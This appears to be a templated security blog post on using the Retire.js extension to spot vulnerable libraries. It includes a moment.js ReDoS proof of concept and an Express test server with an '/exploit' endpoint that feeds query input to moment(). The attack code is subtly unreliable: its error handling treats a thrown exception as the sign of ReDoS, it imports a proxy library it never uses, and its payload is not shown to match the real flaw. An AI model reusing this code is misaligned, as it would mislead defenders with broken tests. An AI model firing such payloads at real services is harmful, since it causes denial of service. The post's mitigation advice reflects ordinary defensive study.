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Retire.js is a powerful browser extension that identifies vulnerable JavaScript libraries, including moment.js, by checking versions against known CVEs. When Retire.js detects moment.js, it often highlights potential ReDOS (Regular Expression Denial of Service) vulnerabilities, which can overload a system by exploiting inefficient regex patterns.
You Should Know:
1. Installing Retire.js
- Chrome/Brave:
https://chromewebstore.google.com/detail/retirejs/moibopkbhjceeedibkbkbchbjnkadmom
- Firefox:
https://addons.mozilla.org/en-US/firefox/addon/retire-js/
2. Identifying Vulnerable Libraries
Once installed, pin Retire.js to your toolbar. If it turns red, click it to see detected vulnerabilities.
3. Exploiting moment.js ReDOS (For Research Only)
A ReDOS attack abuses inefficient regex in libraries like moment.js. Below is a proof-of-concept (PoC) to test locally:
const moment = require('moment');
// Malicious payload triggering ReDOS
const maliciousInput = "0".repeat(100000) + "1";
// Triggers excessive backtracking
moment(maliciousInput);
4. Mitigation Steps
- Update moment.js to the latest version.
- Replace moment.js with modern alternatives like `luxon` or
date-fns. - Use WAF rules to block excessive regex patterns.
5. Testing with Node.js & Reverse Proxy
If testing in a controlled environment:
Set up a local Node.js server
npm init -y
npm install moment express http-proxy-middleware
Server code (server.js)
const express = require('express');
const moment = require('moment');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
app.get('/exploit', (req, res) => {
const payload = req.query.input || "0".repeat(50000) + "1";
try {
moment(payload);
res.send("Processed");
} catch (e) {
res.status(500).send("ReDOS triggered");
}
});
app.listen(3000, () => console.log("Server running on port 3000"));
Run with:
node server.js
6. Detecting ReDOS in Logs
Check for CPU spikes:
top -c | grep node
Or monitor process usage:
ps aux | grep node
What Undercode Say:
ReDOS attacks are often overlooked but can cripple systems. While ethical hackers should avoid disruptive exploits, understanding them helps in securing applications. Always:
– Patch outdated libraries.
– Monitor CPU usage for abnormal spikes.
– Use static analysis tools like Retire.js.
Expected Output:
A vulnerable system running an outdated `moment.js` will experience high CPU usage when processing malicious time-format strings, leading to denial of service.
Prediction:
As JavaScript dependencies grow, automated tools like Retire.js will become essential for real-time vulnerability detection in enterprise environments. Future CVEs may focus more on regex-based attacks, pushing developers toward safer alternatives.
References:
Reported By: Activity 7330213656732798976 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
